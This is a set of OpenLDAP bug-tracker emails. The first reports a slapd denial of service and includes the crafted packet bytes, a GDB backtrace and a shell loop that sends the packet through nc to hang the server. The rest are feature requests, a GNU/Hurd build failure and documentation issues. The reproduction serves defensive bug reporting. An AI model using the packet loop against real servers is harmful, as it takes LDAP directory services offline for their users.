https://bugs.openldap.org/show_bug.cgi?id=9428
Issue ID: 9428
Summary: DoS due to infinite packet processing in slapd
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: phasip(a)gmail.com
Target Milestone: ---
Processing of a packet results in the command handling thread becomming stuck
in an infinite loop.
After sending 32 of theese slapd doesn't respond to any new queries and
consumes 100% cpu
Packet
00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1.
00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000
00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 30 0
GDB backtrace
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) bt
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
#1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
#2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
at cancel.c:143
#3 0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:225
#4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:175
#5 0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0,
arg_v=0x7fff7c001160) at connection.c:1163
#6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
at connection.c:1314
#7 0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
at tpool.c:1051
#8 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
at pthread_create.c:477
#9 0x00007ffff7ed1293 in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
| timeout 1 nc localhost 1389 & done
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9651
Issue ID: 9651
Summary: Add some kind of rate limiting option to ldapmodify
Product: OpenLDAP
Version: 2.5.6
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: enhancement
Priority: ---
Component: client tools
Assignee: bugs(a)openldap.org
Reporter: hyc(a)openldap.org
Target Milestone: ---
When using ldapmodify to replay a testing workload it would be useful to be
able to specify a request rate, instead of just performing multiple operations
in immediate succession. As a simpler alternative, just being able to specify a
time interval between operations would be helpful.
As an even greater future enhancement, it would be nice to have an option to
replay an accesslog.ldif directly, using its embedded timestamps to control the
time interval between operations. Currently this isn't feasible since reqstart
timestamps only have 1-second granularity, the fraction part is a linear
counter and not a microsecond value. The reqStart fraction would need to be
extended to 9 decimal places with full nanosecond resolution in order to be
usable as actual fractional time. We already know that microsecond resolution
is insufficient to avoid frequent collisions.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9658
Issue ID: 9658
Summary: libldap fails to compile on Hurd: MAXPATHLEN
undeclared
Product: OpenLDAP
Version: 2.5.7
Hardware: All
OS: All
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: build
Assignee: bugs(a)openldap.org
Reporter: ryan(a)openldap.org
Target Milestone: ---
OpenLDAP 2.5 and later fails to compile on GNU/Hurd:
libtool: compile: cc -g -O2 -I../../include -I../../include -DLDAP_LIBRARY -c
request.c -fPIC -DPIC -o .libs/request.o
In file included from ldap-int.h:119,
from request.c:53:
request.c: In function 'ldap_dump_connection':
../../include/ldap_pvt.h:181:25: error: 'MAXPATHLEN' undeclared (first use in
this function)
181 | #define LDAP_IPADDRLEN (MAXPATHLEN + sizeof("PATH="))
| ^~~~~~~~~~
request.c:859:17: note: in expansion of macro 'LDAP_IPADDRLEN'
859 | char from[LDAP_IPADDRLEN];
| ^~~~~~~~~~~~~~
../../include/ldap_pvt.h:181:25: note: each undeclared identifier is reported
only once for each function it appears in
181 | #define LDAP_IPADDRLEN (MAXPATHLEN + sizeof("PATH="))
| ^~~~~~~~~~
request.c:859:17: note: in expansion of macro 'LDAP_IPADDRLEN'
859 | char from[LDAP_IPADDRLEN];
| ^~~~~~~~~~~~~~
Makefile:435: recipe for target 'request.lo' failed
make[2]: *** [request.lo] Error 1
This is not the same as ITS#9648. I have pulled latest master and the patch for
that one does not solve it.
GNU/Hurd actually does not have a MAXPATHLEN constant at all; paths are
expected to be dynamically allocated. See:
https://www.gnu.org/software/hurd/hurd/porting/guidelines.html#PATH_MAX_tt_…
This is a low priority issue for me personally. I'm just filing it for
tracking. I'm hoping someone from the GNU/Hurd community might be able to work
on a patch.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=6949
--- Comment #7 from Ondřej Kuzník <ondra(a)mistotebe.net> ---
It seems this is limited to slapd main.c so a standalone lloadd keeps the
original logging configuration/code/format. Maybe the logging code could move
to a separate file so it can be shared between the two.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9655
Issue ID: 9655
Summary: Expose the SNI hostname to olcAccess
Product: OpenLDAP
Version: 2.5.4
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: dpa-openldap(a)aegee.org
Target Milestone: ---
Since OpenLDAP now supports SNI, it apparently knows to which Host the client
has connected, when the server is reachable under many names.
• Expose the negotiated hostname to oclAccess and provide example how to limit
the namingContext on the root DSE based on the requested host
Rationale: HTTP servers offer the concept of virtual domains, where they serve
different content behind the same IP, based on the Host: header. I want to
offer public, anonymous LDAP access, but the returned results shall be
completely different, and depend on the contacted host. The statements in the
<WHO> field peername=<peername>, sockname=<sockname>, domain=<domain>, and
sockurl=<sockurl> are evaluated only based on the contacting system (do not
depend on the requested domain). (Maybe the “contacting sockurl” can do this,
but this is not very clear from the documentation). So they serve similar
purpose, but ignore SNI.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9654
Issue ID: 9654
Summary: Allow using both Elliptic curves and RSA certificate
Product: OpenLDAP
Version: 2.5.4
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: dpa-openldap(a)aegee.org
Target Milestone: ---
sendmail and Cyrus IMAP allow to set two TLS server certificates -one RSA and
EC. When the client supports Elliptic curves, the smaller EC certificate is
used. Likewise it accepts two private keys, in case the private key is not
included in the certificate file. In sendmail and Cyrus IMAP, two certificates
are set in the same directive, separated with comma:
define(`confSERVER_CERT', `/etc/zzz/fullchain.pem,/etc/zzz/fullchain_ec.pem')
define(`confSERVER_KEY', `/etc/zzz/privkey.pem,/etc/zzz/privkey_ec.pem')
In Cyrus IMAP the code dealing with this for OpenSSL is at
https://github.com/cyrusimap/cyrus-imapd/blob/master/imap/tls.c#L453 : cf1/kf1
is the fist public/private key, cf2/kf2 are the second.
In sendmail the code is in sendmail/tls.c:inittls() - it calls
SSL_CTX_use_PrivateKey_file twice - once with keyfile and once with kf2
(keyfile 2).
• Extend OpenLDAP to accept several certificates (RSA/EC) - either per
permitting several (comma separated) values in
olcTLSCertificateFile/olcTLSCertificateKeyFile , or by allowing several
occurrences of the property.
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9587
Issue ID: 9587
Summary: Admin guide: Need example partial replication
configuration
Product: OpenLDAP
Version: 2.5.5
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: documentation
Assignee: bugs(a)openldap.org
Reporter: quanah(a)openldap.org
Target Milestone: ---
The admin guide states:
Syncrepl supports partial, sparse, and fractional replications
but there are no example configurations for partial replication to draw from.
This needs to be added to the guide.
--
You are receiving this mail because:
You are on the CC list for the issue.